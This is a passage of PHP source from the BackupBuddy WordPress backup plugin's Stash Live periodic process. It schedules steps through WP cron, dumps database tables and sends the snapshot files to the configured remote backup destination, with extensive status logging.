pb_backupbuddy::settings( 'version' ) . ' with WordPress v' . $wp_version . '.' ); // Make sure we are not PAUSED. $liveID = backupbuddy_live::getLiveID(); if ( '1' == pb_backupbuddy::$options['remote_destinations'][ $liveID ]['pause_periodic'] ) { pb_backupbuddy::status( 'details', 'Aborting periodic process as it is currently PAUSED based on settings.' ); // Undo log redirect. pb_backupbuddy::set_status_serial( $previous_status_serial ); return false; } // Logging disabled. if ( isset( pb_backupbuddy::$options['remote_destinations'][ $liveID ]['disable_logging'] ) && ( '1' == pb_backupbuddy::$options['remote_destinations'][ $liveID ]['disable_logging'] ) ) { pb_backupbuddy::status( 'details', 'Logs disabled based on settings. Ending log.' ); pb_backupbuddy::set_status_serial( $previous_status_serial ); } require_once( pb_backupbuddy::plugin_path() . '/classes/core.php' ); require_once( pb_backupbuddy::plugin_path() . '/destinations/live/live.php' ); require_once( pb_backupbuddy::plugin_path() . '/classes/fileoptions.php' ); // Register a shutdown function to catch PHP errors and log them. register_shutdown_function( 'backupbuddy_live_periodic::shutdown_function' ); // Load state into self::$_state & fileoptions object into self::$_stateObj. if ( false === self::_load_state() ) { return false; } // No PHP runtime calculated yet. Try to see if test is finished. if ( 0 == pb_backupbuddy::$options['tested_php_runtime'] ) { backupbuddy_core::php_runtime_test_results(); } // Update stats and save. if ( 0 === self::$_state['step']['start_time'] ) { self::$_state['step']['start_time'] = microtime( true ); } self::$_state['step']['last_run_start'] = microtime( true ); // Load destination settings. $destination_settings = self::get_destination_settings(); // If wait_on_transfers was the last step running and time limit has passed then we can start from the beginning. if ( ( 'wait_on_transfers' == self::$_state['step']['function'] ) && ( self::$_state['stats']['wait_on_transfers_start'] > 0 ) && ( ( time() - self::$_state['stats']['wait_on_transfers_start'] ) > ( $destination_settings['max_wait_on_transfers_time'] * 60 ) ) ) { pb_backupbuddy::status( 'warning', 'Ran out of max time (`' . round( ( ( time() - self::$_state['stats']['wait_on_transfers_start'] ) / 60 ) ) . '` of `' . $destination_settings['max_wait_on_transfers_time'] . '` max mins) waiting for pending transfers to finish. Resetting back to beginning of periodic process.' ); self::$_state['step'] = self::$_stepDefaults; // Clear step state. } // Increment attempts if running the same function exactly as before. Set preferredStep args if we are indeed on this step. //sort( self::$_state['step']['args'] ); // Make sure order is same. //sort( $preferredStepArgs ); // Make sure order is same. if ( ( '' == $preferredStep ) || ( ( self::$_state['step']['function'] == $preferredStep ) && ( self::$_state['step']['args'] == $preferredStepArgs ) ) ) { // If preferredStep is blank OR ( preferredStep matches next step AND arguments are the same ). self::$_state['step']['attempts']++; } if ( '' != $preferredStep ) { self::_set_next_step( $preferredStep, $preferredStepArgs ); } // If restart transient is set then restart the Live process all the way back to daily_init. This is done when settings are saved so they will take effect immediately. if ( false !== ( $jump_step = get_transient( 'backupbuddy_live_jump' ) ) ) { pb_backupbuddy::status( 'details', 'Restart transient exists. Clearing.' ); delete_transient( 'backupbuddy_live_jump' ); $jump_step_name = $jump_step[0]; $jump_step_args = array(); if ( isset( $jump_step[1] ) && is_array( $jump_step[1] ) ) { $jump_step_args = $jump_step[1]; } self::_set_next_step( $jump_step_name ); pb_backupbuddy::status( 'details', 'Reset next step to `' . $jump_step_name . '` with args `' . print_r( $jump_step_args, true ) . '` due to backupbuddy_live_jump transient.' ); } // Check if a manual snapshot is requested. if ( false !== get_transient( 'backupbuddy_live_snapshot' ) ) { pb_backupbuddy::status( 'details', 'Manual Live Snapshot requested.' ); delete_transient( 'backupbuddy_live_snapshot' ); self::_request_manual_snapshot(); } // Set first activity (creation of Live basically). if ( 0 == self::$_state['stats']['first_activity'] ) { self::$_state['stats']['first_activity'] = time(); } // Save attempt. self::$_stateObj->save(); // Run step function and process results. $schedule_next_step = false; $start_time = microtime( true ); $run_function = self::$_state['step']['function']; pb_backupbuddy::status( 'details', 'Starting Live periodic function `' . $run_function . '`.' ); if ( ! is_callable( 'self::_step_' . $run_function ) ) { pb_backupbuddy::status( 'error', 'Error #439347494: Invalid step called: `' . $run_function . '` Unknown function: `self::_step_' . $run_function . '`.' ); } $function_response = call_user_func_array( 'self::_step_' . $run_function, self::$_state['step']['args'] ); // Run step function. Returns true on success, string error message on fatal failure, and array( 'status message', array( ARGS ) ) when chunking back to same step. self::$_state['step']['last_run_finish'] = microtime( true ); self::$_state['stats']['last_activity'] = microtime( true ); pb_backupbuddy::status( 'details', 'Ended Live periodic function `' . $run_function . '`.' ); // Process stepfunction results. if ( is_array( $function_response ) ) { // Chunking back to same step since we got an array. Index 0 = last_status, index 1 = args. Keeps same step function. $schedule_next_step = true; self::$_state['step']['chunks']++; self::$_state['step']['last_status'] = $function_response[ 0 ]; self::$_state['step']['args'] = $function_response[ 1 ]; pb_backupbuddy::status( 'details', 'Function needs chunked.' ); if ( ( 'update_files_list' != $run_function ) && ( pb_backupbuddy::$options['log_level'] == '3' ) ) { // Full logging enabled. Hide for update_files_list function due to its huge size. pb_backupbuddy::status( 'details', 'Response args due to logging level: `' . print_r( $function_response, true ) . '`.' ); } } elseif ( is_string( $function_response ) ) { // Fatal error. pb_backupbuddy::status( 'error', 'Error #32893283: One or more errors encountered running Live step function. Details: `' . $function_response . '`. See log above for more details.' ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $function_response ); if ( FALSE === stristr( $function_response, 'Error' ) ) { // Make sure error-prefixed if not. $function_response = 'Error #489348: ' . $function_response; } self::$_state['step']['last_status'] = $function_response; } elseif ( true === $function_response ) { // Success finishing this step. // Interupted by a jump for the next step. if ( false !== ( $jump_step = get_transient( 'backupbuddy_live_jump' ) ) ) { pb_backupbuddy::status( 'details', 'Restart transient exists. Clearing.' ); delete_transient( 'backupbuddy_live_jump' ); $jump_step_name = $jump_step[0]; $jump_step_args = array(); if ( isset( $jump_step[1] ) && is_array( $jump_step[1] ) ) { $jump_step_args = $jump_step[1]; } self::_set_next_step( $jump_step_name ); pb_backupbuddy::status( 'details', 'Reset next step to `' . $jump_step_name . '` with args `' . print_r( $jump_step_args, true ) . '` due to backupbuddy_live_jump transient.' ); $schedule_next_step = true; } else { // Normal next step running (if any). if ( ! isset( self::$_nextFunction[ $run_function ] ) ) { $schedule_next_step = false; pb_backupbuddy::status( 'details', 'Function reported success. No more Live steps to directly run. Finishing until next periodic restart.' ); self::$_state['step'] = self::$_stepDefaults; // Clear step state. } else { $schedule_next_step = true; $nextFunction = self::$_nextFunction[ $run_function ]; self::_set_next_step( $nextFunction ); pb_backupbuddy::status( 'details', 'Function reported success. Scheduled next function to run, `' . $nextFunction . '`.' ); } } } elseif ( false === $function_response ) { pb_backupbuddy::status( 'error', 'Error #3298338: Live (periodic) function `' . $run_function . '` failed without error message. Ending Live periodic process for this run without running more steps. See log above for details.' ); $schedule_next_step = false; } else { // Unknown response. pb_backupbuddy::status( 'error', 'Error #98238392: Unknown periodic Live step function response `' . print_r( $function_response, true ) . '` for function `' . $run_function . '`. Fatal error.' ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $function_response ); self::$_state['step']['last_status'] = 'Error: ' . $function_response; $schedule_next_step = false; } // Save state. self::$_stateObj->save(); // Unlock fileoptions files if any remain locked. if ( is_object( self::$_stateObj ) ) { self::$_stateObj->unlock(); } if ( is_object( self::$_catalogObj ) ) { self::$_catalogObj->unlock(); } if ( is_object( self::$_tablesObj ) ) { self::$_tablesObj->unlock(); } // Schedule the next step in the WP cron to run whichever step has been set in the state. if ( true === $schedule_next_step ) { pb_backupbuddy::status( 'details', 'Scheduling next step.' ); // Schedule to run Live one more time for next chunk. $cronArgs = array(); $schedule_result = backupbuddy_core::schedule_single_event( time() - 60, 'live_periodic', $cronArgs ); // Schedules 60sec in the past to push near the top. Traditional backup process is 155sec in the past for first priority. if ( true === $schedule_result ) { pb_backupbuddy::status( 'details', 'Next Live Periodic chunk step cron event scheduled.' ); } else { pb_backupbuddy::status( 'error', 'Next Live Periodic chunk step cron event FAILED to be scheduled.' ); } // Only chains the first cron. if ( '1' != pb_backupbuddy::$options['skip_spawn_cron_call'] ) { pb_backupbuddy::status( 'details', 'Spawning cron now.' ); update_option( '_transient_doing_cron', 0 ); // Prevent cron-blocking for next item. spawn_cron( time() + 150 ); // Adds > 60 seconds to get around once per minute cron running limit. } // Schedule cron kicker (detects if it has not been too soon so we can call this judicously). self::_request_kick_cron(); } else { // Nothing left to do for now. Take a nap and wait until the next time that the periodic functionality launches and starts the process all over again. pb_backupbuddy::status( 'details', 'No more steps remain for this run. Not scheduling next step.' ); } // Undo log redirect. pb_backupbuddy::set_status_serial( $previous_status_serial ); return true; } // End run_periodic_process(). /* _request_kick_cron() * * Requests that the Stash API kick our cron along for a certain amount of time. * */ private static function _request_kick_cron() { if ( false !== self::_load_state() ) { if ( ( time() - self::$_state['stats']['last_kick_request'] ) < self::KICK_REQUEST_MINIMUM_PERIOD ) { // Too soon. return false; } // Update last kick request time & save. self::$_state['stats']['last_kick_request'] = time(); self::$_stateObj->save(); // Request the kicks. require_once( pb_backupbuddy::plugin_path() . '/destinations/stash2/init.php' ); pb_backupbuddy_destination_stash2::cron_kick_api( pb_backupbuddy::$options['remote_destinations'][ backupbuddy_live::getLiveID() ] ); return true; } return false; } // End _request_kick_cron(). /* _set_next_step() * * Set the next step to run, copying the current step into the state's prev_step key for reference/debugging. * @return null */ public static function _set_next_step( $step_name, $args = array(), $save_now_and_unload = false ) { if ( false === self::_load_state() ) { pb_backupbuddy::status( 'error', 'Error #89383494: Unable to load state.' ); return false; } if ( ( '' == $step_name ) || ( is_array( $step_name ) ) ) { pb_backupbuddy::status( 'error', 'Error #348934894: Invalid next step. Not scheduling step `' . print_r( $step_name, true ) . '`.' ); return false; } self::$_state['prev_step'] = self::$_state['step']; // Hold the previous step for reference. self::$_state['step'] = self::$_stepDefaults; self::$_state['step']['function'] = $step_name; self::$_state['step']['args'] = $args; if ( true === $save_now_and_unload ) { self::$_stateObj->save(); self::$_stateObj->unlock(); } } // End _set_next_step(). /* _step_daily_init() * * Daily housekeeping at the beginning of the daily Live periodic process. * */ private static function _step_daily_init( $manual_snapshot = false ) { pb_backupbuddy::status( 'details', 'BackupBuddy v' . pb_backupbuddy::settings( 'version' ) . ' Live Daily Initialization -- ' . pb_backupbuddy::$format->date( pb_backupbuddy::$format->localize_time( time() ) ) . '.' ); self::$_state['stats']['recent_send_fails'] = 0; // Reset daily fail count. self::reset_send_attempts(); // Reset 't' key for all items in catalog so we can try again. self::$_state['stats']['wait_on_transfers_start'] = 0; // Reset daily time we started waiting on unfinished transfers. self::_request_kick_cron(); // Truncate log if it is getting too large. Keeps newest half. self::_truncate_log(); // Backup catalog file. self::backup_catalog(); if ( false === self::_load_state() ) { return false; } if ( true === $manual_snapshot ) { self::_request_manual_snapshot(); } else { self::_request_manual_snapshot( $cancel = true ); } return true; } // End _step_daily_init(). private static function _request_manual_snapshot( $cancel = false ) { if ( false === self::_load_state() ) { return false; } pb_backupbuddy::status( 'details', 'Manual snapshot set for end of this pass.' ); if ( true === $cancel ) { // Cancel snapshot. self::$_state['stats']['manual_snapshot'] = false; } else { // Request snapshot. self::$_state['stats']['manual_snapshot'] = microtime( true ); } } // End _request_manual_snapshot(). /* _step_send_pending_db_snapshots() * * Finds the next pending database snapshot file and tries to send it. * */ private static function _step_send_pending_db_snapshots( $startAt = 0 ) { // Load state into self::$_state & fileoptions object into self::$_stateObj. if ( false === self::_load_state() ) { return false; } if ( false === self::_load_tables() ) { return false; } if ( 0 != $startAt ) { pb_backupbuddy::status( 'details', 'Resuming snapshot send at point `' . $startAt . '`.' ); } require_once( pb_backupbuddy::plugin_path() . '/destinations/bootstrap.php' ); backupbuddy_live::update_db_live_activity_time(); // On first pass create and send backupbuddy_dat.php and importbuddy.php. if ( 0 == $startAt ) { // Render backupbuddy_dat.php $dat_file = backupbuddy_live::getLiveDatabaseSnapshotDir() . 'backupbuddy_dat.php'; // Make sure directory exists. if ( ! file_exists( dirname( $dat_file ) ) ) { if ( false === pb_backupbuddy_filesystem::mkdir( dirname( $dat_file ) ) ) { pb_backupbuddy::status( 'warning', 'Warning #34893498434: Unable to mkdir("' . $dat_file . '").' ); } } $tableSizes = array(); foreach( self::$_tables as $tableName => $table ) { $tableSizes[$tableName] = $table['s']; } $table_results = backupbuddy_live::_calculate_table_includes_excludes_basedump(); $dat_settings = array( 'backup_type' => 'live', 'profile' => array(), 'serial' => '', 'breakout_tables' => backupbuddy_live::calculateTables(), 'table_sizes' => $tableSizes, 'force_single_db_file' => false, 'trigger' => 'live', 'db_excludes' => $table_results[1], 'db_includes' => $table_results[0], ); pb_backupbuddy::status( 'details', 'Rendering DAT file to `' . $dat_file . '`.' ); if ( ! is_array( backupbuddy_core::render_dat_contents( $dat_settings, $dat_file ) ) ) { $error = 'Error #47949743: Since DAT file could not be written aborting. Check permissions writing to `' . $dat_file . '`.'; pb_backupbuddy::status( 'error', $error ); return $error; } // Render importbuddy.php $importbuddy_file = backupbuddy_live::getLiveDatabaseSnapshotDir() . 'importbuddy.php'; pb_backupbuddy::status( 'details', 'Rendering importbuddy file to `' . $importbuddy_file . '`.' ); if ( false === backupbuddy_core::importbuddy( $importbuddy_file, $pass = NULL ) ) { // NULL pass leaves #PASSWORD# placeholder in place. pb_backupbuddy::status( 'warning', 'Warning #348438345: Unable to render importbuddy. Not backing up importbuddy.php.' ); } // Load destination settings. $destination_settings = self::get_destination_settings(); // Send DAT file. $send_id = 'live_' . md5( $dat_file ) . '-' . pb_backupbuddy::random_string( 6 ); $destination_settings['_database_table'] = 'backupbuddy_dat.php'; if ( false === pb_backupbuddy_destinations::send( $destination_settings, $dat_file, $send_id, $delete_after = true, $isRetry = false, $trigger = 'live_periodic', $destination_id = backupbuddy_live::getLiveID() ) ) { $error = 'Error #389398: Unable to send DAT file to Live servers. See error log above for details.'; pb_backupbuddy::status( 'error', $error ); backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); } // Send importbuddy. $send_id = 'live_' . md5( $importbuddy_file ) . '-' . pb_backupbuddy::random_string( 6 ); $destination_settings['_database_table'] = 'importbuddy.php'; if ( false === pb_backupbuddy_destinations::send( $destination_settings, $importbuddy_file, $send_id, $delete_after = true, $isRetry = false, $trigger = 'live_periodic', $destination_id = backupbuddy_live::getLiveID() ) ) { pb_backupbuddy::status( 'error', 'Error #329327: Unable to send importbuddy file to Live servers. See error log above for details.' ); } } // Loop through files in the catalog. $loopCount = 0; $checkCount = 0; $sendTimeSum = 0; $sendSizeSum = 0; $sendsStarted = 0; $sendsSucceeded = 0; $sendsMultiparted = 0; $sendsFailed = 0; $alreadyBackedUp = 0; $tooManySendFails = 0; $lastSendThisPass = false; $sendMoreRemain = false; foreach( self::$_tables as $table => &$tableDetails ) { $loopCount++; if ( 0 != $startAt ) { // Resuming... if ( $loopCount < $startAt ) { continue; } } $checkCount++; // If backed up after modified time then it's up to date. Skip. if ( $tableDetails['b'] > $tableDetails['m'] ) { pb_backupbuddy::status( 'details', 'Skipping send of table `' . $table . '` because it has already been sent since SQL file was made.' ); $alreadyBackedUp++; continue; } // Calculate table file. $tableFile = backupbuddy_live::getLiveDatabaseSnapshotDir() . $table . '.sql'; // If too many attempts have passed then skip. if ( $tableDetails['t'] >= self::MAX_SEND_ATTEMPTS ) { pb_backupbuddy::status( 'error', 'Error #389328: This database file has failed transfer too many times. Skipping until next restart of periodic proces. File: `' . $tableFile . '`. Size: `' . pb_backupbuddy::$format->file_size( filesize( $tableFile ) ) . '`.' ); $tooManySendFails++; continue; } // Load destination settings. $destination_settings = self::get_destination_settings(); // If too many remote sends have failed today then give up for now since something is likely wrong. if ( self::$_state['stats']['recent_send_fails'] > $destination_settings['max_daily_failures'] ) { $error = 'Error #4937743: Too many file transfer failures have occurred. Halting sends for today.'; backupbuddy_core::addNotification( 'live_error', 'BackupBuddy Stash Live Error', $error ); self::$_state['step']['last_status'] = $error; pb_backupbuddy::status( 'error', $error ); return false; } // If this is not the first file we've sent this pass, see if we have enough time for more. if ( $sendSizeSum > 0 ) { // Check if it appears we have enough time to send at least a full single chunk in this pass or if we need to pass off to a subsequent run. $send_speed = ( $sendSizeSum / 1048576 ) / $sendTimeSum; // Estimated speed at which we can send files out. Unit: MB / sec. $time_elapsed = ( microtime( true ) - pb_backupbuddy::$start_time ); $time_remaining = $destination_settings['max_time'] - ( $time_elapsed + self::TIME_WIGGLE_ROOM ); // Estimated time remaining before PHP times out. Unit: seconds. $size_possible_with_remaining_time = $send_speed * $time_remaining; // Size possible to send with remaining time (takes into account wiggle room). $size_to_send = ( $tableDetails['s'] / 1048576 ); // Size we want to send this pass. Unit: MB. if ( $destination_settings['max_burst'] < $size_to_send ) { // If the chunksize is smaller than the full file then cap at sending that much. $size_to_send = $destination_settings['max_burst']; } if ( ( $size_possible_with_remaining_time < $size_to_send ) ) { // File (or chunk) is bigger than what we have time to send. $lastSendThisPass = true; $sendMoreRemain = true; $send_speed_status = 'Not enough time to send more. To continue in next live_periodic pass.'; } else { $send_speed_status = 'Enough time to send more. Preparing for send.'; } pb_backupbuddy::status ('details', 'Not the first DB file to send this pass. Send speed: `' . $send_speed . '` MB/sec. Time elapsed: `' . $time_elapsed . '` sec. Time remaining: `' . $time_remaining . '` sec based on reported max time of `' . $destination_settings['max_time'] . '` sec with wiggle room `' . self::TIME_WIGGLE_ROOM . '` sec. Size possible with remaining time: `' . $size_possible_with_remaining_time . '` MB. Size to chunk (greater of filesize or chunk): `' . $size_to_send . '` MB. Conclusion: `' . $send_speed_status . '`.' ); } // end subsequent send time check. // NOT out of time so send this. if ( true !== $lastSendThisPass ) { // Run cleanup on send files. require_once( pb_backupbuddy::plugin_path() . '/classes/housekeeping.php' ); backupbuddy_housekeeping::trim_remote_send_stats( $file_prefix = 'send-live_', $limit = $destination_settings['max_send_details_limit'] ); // Only keep last X send fileoptions. backupbuddy_housekeeping::purge_logs( $file_prefix = 'status-remote_send-live_', $limit = $destination_settings['max_send_details_limit'] ); // Only keep last X send logs. // Increment try count for transfer attempts and save. $tableDetails['t']++; self::$_tablesObj->save(); // Send file. AFTER success sending this Stash2 destination will automatically trigger the live_periodic processing _IF_ multipart send. If success or fail the we come back here to potentially send more files in the same PHP pass so small files don't each need their own PHP page run. Unless the process has restarted then this will still be the 'next' function to run. $send_id = 'live_' . md5( $tableFile ) . '-' . pb_backupbuddy::random_string( 6 ); pb_backupbuddy::status( 'details', 'Live starting send function.' ); $sendTimeStart = microtime( true ); // Mark table as unsent just before sending new version. $tableDetails['b'] = 0; // Close catalog & state while sending if > X size to prevent collisions. if ( $tableDetails['s'] > self::CLOSE_CATALOG_WHEN_SENDING_FILESIZE ) { self::$_tablesObj = ''; self::$_stateObj = ''; } // Set database table name into settings so send confirmation knows where to update sent timestamp. $destination_settings['_database_table'] = $table; // Send file to remote. $sendsStarted++; $result = pb_backupbuddy_destinations::send( $destination_settings, $tableFile, $send_id, $delete_after = true, $isRetry = false, $trigger = 'live_periodic', $destination_id = backupbuddy_live::getLiveID() ); // Re-open catalog (if closed). self::_load_tables(); self::_load_state(); $sendTimeFinish = microtime( true ); if ( true === $result ) { $sendsSucceeded++; $result_status = 'Success sending in single pass.'; $sendTimeSum += ( $sendTimeFinish - $sendTimeStart ); // Add to time sent sending. // Set a minimum threshold so small files don't make server appear slower than reality due to overhead. $minimum_size_threshold = self::MINIMUM_SIZE_THRESHOLD_FOR_SPEED_CALC; // Pretend file is at least 500k each. if ( $tableDetails['s'] < $minimum_size_threshold ) { $sendSizeSum += $minimum_size_threshold; } else { $sendSizeSum += $tableDetails['s']; // Add to size of data sent. } } elseif ( false === $result ) { $sendsFailed++; self::$_state['stats']['recent_send_fails']++; $result_status = 'Failure sending in single/first pass. See log above for error details. Failed sends today: `' . self::$_state['stats']['recent_send_fails'] . '`.'; } elseif ( is_array( $result ) ) { $sendsMultiparted++; $result_status = 'Chunking commenced. Ending sends for this pass.'; $lastSendThisPass = true; } pb_backupbuddy::status( 'details', 'Live ended send database function. Status: ' . $result_status . '.' ); } // Check if we are done sending for this PHP pass/run. if ( true === $lastSendThisPass ) { break; } } // End foreach signatures. pb_backupbuddy::status( 'details', 'Snapshot send details for this round: Checked `' . $loopCount . '` tables, transfers started: `' . $sendsStarted . '`, transfers succeeded: `' . $sendsSucceeded . '`, transfers multiparted: `' . $sendsMultiparted . '`, transfers failed: `' . $sendsFailed . '`, skipped because already backed up: `' . $alreadyBackedUp . '`, skipped because too many send failures: `' . $tooManySendFails . '`.' ); // Schedule next run if we still have more files to potentially send. if ( true === $sendMoreRemain ) { return array( 'Sending queued tables', array( $loopCount ) ); } else { // No more files. return true; } } // End _step_send_pending_db_snapshots(). /* _step_process_table_deletions() * * Cleans up database table deletions. * */ private static function _step_process_table_deletions( $startAt = 0 ) { $start_time = microtime( true ); if ( false === self::_load_tables() ) { return false; } if ( false === self::_load_state() ) { return false; } pb_backupbuddy::status( 'details', 'Starting table deletions at point: `' . $startAt . '`.' ); backupbuddy_live::update_db_live_activity_time(); // Instruct Live server to delete all timestamped SQL files (in wp-content/uploads/backupbuddy_temp/SERIAL/_XXXXXXX.XX-tablename) with timestamps in the filename older than the one passed. if ( 0 == $startAt ) { $timestamp = self::$_state['stats']['last_db_snapshot']; $destination_settings = self::get_destination_settings(); $additionalParams = array( 'timestamp' => $timestamp, 'test' => false, ); require_once( pb_backupbuddy::plugin_path() . '/destinations/live/init.php' ); $response = pb_backupbuddy_destination_live::stashAPI( $destination_settings, 'live-cleanup', $additionalParams ); if ( ! is_array( $response ) ) { $error = 'Error #34387595: Unable to initiate Live timestamped database cleanup prior to timestamp `' . $timestamp . '`. Details: `' . $response . '`. Continuing anyway...'; pb_backupbuddy::status( 'error', $error ); //return false; } else { pb_backupbuddy::status( 'details', 'Deleted `' . count( $response['files'] ) . '` total timestamped live database files older than timestamp `' . $timestamp . '`.' ); if ( pb_backupbuddy::$options['log_level'] == '3' ) { // Full logging enabled. pb_backupbuddy::status( 'details', 'live-cleanup response due to logging level: `' . print_r( $response, true ) . '`. Call params: `' . print_r( $additionalParams, true ) . ' `.' ); } } } // Loop through tables in the catalog. $loopCount = 0; $checkCount = 0; $tablesDeleted = 0; $last_save = microtime( true ); foreach( self::$_tables as $table => &$tableDetails ) { if ( 0 != $startAt ) { // Resuming... if ( $loopCount < $startAt ) { $loopCount++; continue; } } else { $loopCount++; } $checkCount++; // Skip non-deleted files. if ( true !== $tableDetails['d'] ) { continue; } // Made it here then we will be deleting a table file. // Cancel any in-process remote sends of deleted files. $sendFileoptions = glob( backupbuddy_core::getLogDirectory() . 'fileoptions/send-live_' . md5( $table ) . '-*.txt' ); if ( ! is_array( $sendFileoptions ) ) { $sendFileoptions = array(); } foreach( $sendFileoptions as $sendFileoption ) { $fileoptions_obj = new pb_backupbuddy_fileoptions( $sendFileoption, $read_only = false, $ignore_lock = false, $create_file = false ); if ( true !== ( $result = $fileoptions_obj->is_ok() ) ) { pb_backupbuddy::status( 'error', __('Fatal Error #9034.328237. Unable to access fileoptions data.', 'it-l10n-backupbuddy' ) . ' Error: ' . $result ); return false; } // Something wrong with fileoptions. Let cleanup handle it later. if ( ! isset( $fileoptions_obj->options['status'] ) ) { continue; } // Don't do anything for success, failure, or already-marked as -1 finish time. if ( ( 'success' == $fileoptions_obj->options['status'] ) || ( 'failure' == $fileoptions_obj->options['status'] ) || ( -1 == $fileoptions_obj->options['finish_time'] ) ) { continue; } // Cancel this send. $fileoptions_obj->options['finish_time'] = -1; $fileoptions_obj->save(); pb_backupbuddy::status( 'details', 'Cancelled in-progress send of deleted table `' . $table . '`.' ); unset( $fileoptions_obj ); } // If file has been backed up to server then we need to delete the remote file. if ( 0 != $tableDetails['b'] ) { $destination_settings = self::get_destination_settings(); $deleteFile = 'wp-content/uploads/backupbuddy_temp/SERIAL/' . $table . '.sql'; if ( true !== ( $delete_result = pb_backupbuddy_destination_live::deleteFile( $destination_settings, $deleteFile ) ) ) { pb_backupbuddy::status( 'error', 'Error #8239833: Unable to delete remote table file `' . $deleteFile . '`' ); } elseif ( true === $delete_result ) { pb_backupbuddy::status( 'details', 'Deleted remote table `' . $table . '`.' ); } } // Remove file from catalog and update state stats. unset( self::$_tables[ $table ] ); self::$_state['stats']['tables_pending_delete']--; if ( self::$_state['stats']['tables_pending_delete'] < 0 ) { self::$_state['stats']['tables_pending_delete'] = 0; } $tablesDeleted++; // See if it's time to save our progress so far. if ( ( time() - $last_save ) > self::SAVE_SIGNATURES_EVERY_X_SECONDS ) { self::$_stateObj->save(); self::$_tablesObj->save(); $last_save = microtime( true ); } // Do we have enough time to continue or do we need to chunk? if ( ( microtime( true ) - $start_time + self::TIME_WIGGLE_ROOM ) > $destination_settings['max_time'] ) { // Running out of time! Chunk. self::$_tablesObj->save(); pb_backupbuddy::status( 'details', 'Running out of time processing table deletions. Took `' . ( microtime( true ) - $start_time ) . '` seconds.' ); return array( 'Processing deletions', array( $loopCount-$tablesDeleted ) ); } } // end foreach. // Save and finish. self::$_stateObj->save(); self::$_tablesObj->save(); pb_backupbuddy::status( 'details', 'Database table deletions processed. Checked `' . $checkCount . '` files. Deleted `' . $tablesDeleted . '` files. Took `' . ( microtime( true ) - $start_time ) . '` seconds.' ); return true; } // End _step_process_table_deletions(). /* _step_database_snapshot() * * Creates a snapshot of the database based on global database setting defaults. * * @param array $tables Array of tables to back up. When chunking dumped tables will be removed from this list (from the front). * @param int $rows_start Row number to resume at for the first table in $tables. */ private static function _step_database_snapshot( $tables = array(), $chunkTables = array(), $rows_start = 0 ) { if ( false === self::_load_state() ) { return false; } if ( false === self::_load_tables() ) { return false; } backupbuddy_live::update_db_live_activity_time(); // Databse snapshot storage directory. Includes trailing slash. $directory = backupbuddy_live::getLiveDatabaseSnapshotDir(); pb_backupbuddy::status( 'message', __('Starting database snapshot procedure.', 'it-l10n-backupbuddy' ) ); if ( 0 == count( $chunkTables ) ) { // First pass. // Delete any existing db snapshots stored locally. $snapshots = glob( $directory . '*.sql' ); pb_backupbuddy::status( 'details', 'Found `' . count( $snapshots ) . '` total existing local SQL files to delete from temporary dump directory `' . $directory . '`.' ); foreach( $snapshots as $snapshot ) { @unlink( $snapshot ); } $tables = backupbuddy_live::calculateTables(); $chunkTables = $tables; } else { // Resuming chunking. pb_backupbuddy::status( 'details', '`' . count( $chunkTables ) . '` tables left to dump.' ); } pb_backupbuddy::status( 'details', 'Tables: `' . print_r( $tables, true ) . '`, chunkTables: `' . print_r( $chunkTables, true ) . '`, Rows_Start: `' . print_r( $rows_start, true ) . '`.' ); if ( 'php' == pb_backupbuddy::$options['database_method_strategy'] ) { $force_methods = array( 'php' ); } elseif ( 'commandline' == pb_backupbuddy::$options['database_method_strategy'] ) { $force_methods = array( 'commandline' ); } elseif ( 'all' == pb_backupbuddy::$options['database_method_strategy'] ) { $force_methods = array( 'php', 'commandline' ); } else { pb_backupbuddy::status( 'error', 'Error #95432: Invalid forced database dump method setting: `' . pb_backupbuddy::$options['database_method_strategy'] . '`.' ); return false; } $destination_settings = self::get_destination_settings(); $maxExecution = $destination_settings['max_time']; // Load mysqlbuddy and perform dump. pb_backupbuddy::status( 'details', 'Loading mysqlbuddy.' ); require_once( pb_backupbuddy::plugin_path() . '/lib/mysqlbuddy/mysqlbuddy.php' ); global $wpdb; pb_backupbuddy::$classes['mysqlbuddy'] = new pb_backupbuddy_mysqlbuddy( DB_HOST, DB_NAME, DB_USER, DB_PASSWORD, $wpdb->prefix, $force_methods, $maxExecution ); // $database_host, $database_name, $database_user, $database_pass, $old_prefix, $force_method = array() // Prepare destination snapshot sql files directory. pb_backupbuddy::status( 'details', 'Creating dump directory.' ); if ( pb_backupbuddy::$filesystem->mkdir( $directory, $mode = 0755, $recurse = true ) === false ) { $error = 'Error #387974: BackupBuddy unable to create directory `' . $directory . '`. Please verify write permissions for the parent directory `' . dirname( $directory ) . '` or manually create the specified directory & set permissions.'; } // Do the database dump. $result = pb_backupbuddy::$classes['mysqlbuddy']->dump( $directory, $chunkTables, $rows_start ); // if array, returns tables,rowstart // Process dump result. if ( is_array( $result ) ) { // Chunking. return array( 'Creating database snapshot', array( $tables, $result[0], $result[1] ) ); // Full table list, remaining tables, row to resume at. } else { // Should be either true (success) or false (fail). if ( true === $result ) { // Success. pb_backupbuddy::status( 'details', 'Database dump fully completed. Calculating database stats.' ); // Set last snapshot time. self::$_state['stats']['last_db_snapshot'] = microtime( true ); // Timestamp snapshot completed. Used to delete live sql updates prior to this timestamp. // Get info on tables. $table_details = $wpdb->get_results( "SELECT TABLE_NAME,DATA_LENGTH,INDEX_LENGTH FROM information_schema.tables WHERE table_schema = DATABASE()", ARRAY_A ); $table_sizes = array(); foreach( $table_details as $table_detail ) { $table_sizes[ $table_detail['TABLE_NAME'] ] = $table_detail['DATA_LENGTH'] + $table_detail['INDEX_LENGTH']; } unset( $table_details ); // Add any new tables to catalog listing. $database_size = 0; foreach( $tables as $table ) { // Table is not yet in the catalog. if ( ! isset( self::$_tables[ $table ] ) ) { self::$_tables[ $table ] = self::$_tableDefaults; // Apply defaults. self::$_tables[ $table ]['a'] = self::$_state['stats']['last_db_snapshot']; self::$_tables[ $table ]['m'] = self::$_state['stats']['last_db_snapshot']; } else { // Table already in catalog. Update it. self::$_tables[ $table ] = array_merge( self::$_tableDefaults, self::$_tables[ $table ] ); // Apply defaults to existing data. self::$_tables[ $table ]['m'] = self::$_state['stats']['last_db_snapshot']; } // Set size if we have calculated it (if it was available to us). if ( isset( $table_sizes[ $table ] ) ) { self::$_tables[ $table ]['s'] = $table_sizes[ $table ]; $database_size += $table_sizes[ $table ]; } // Reset try attempts. self::$_tables[ $table ]['t'] = 0; } // end foreach. // Mark any removed tables as needing deletion in catalog listing. Handles tables that no longer 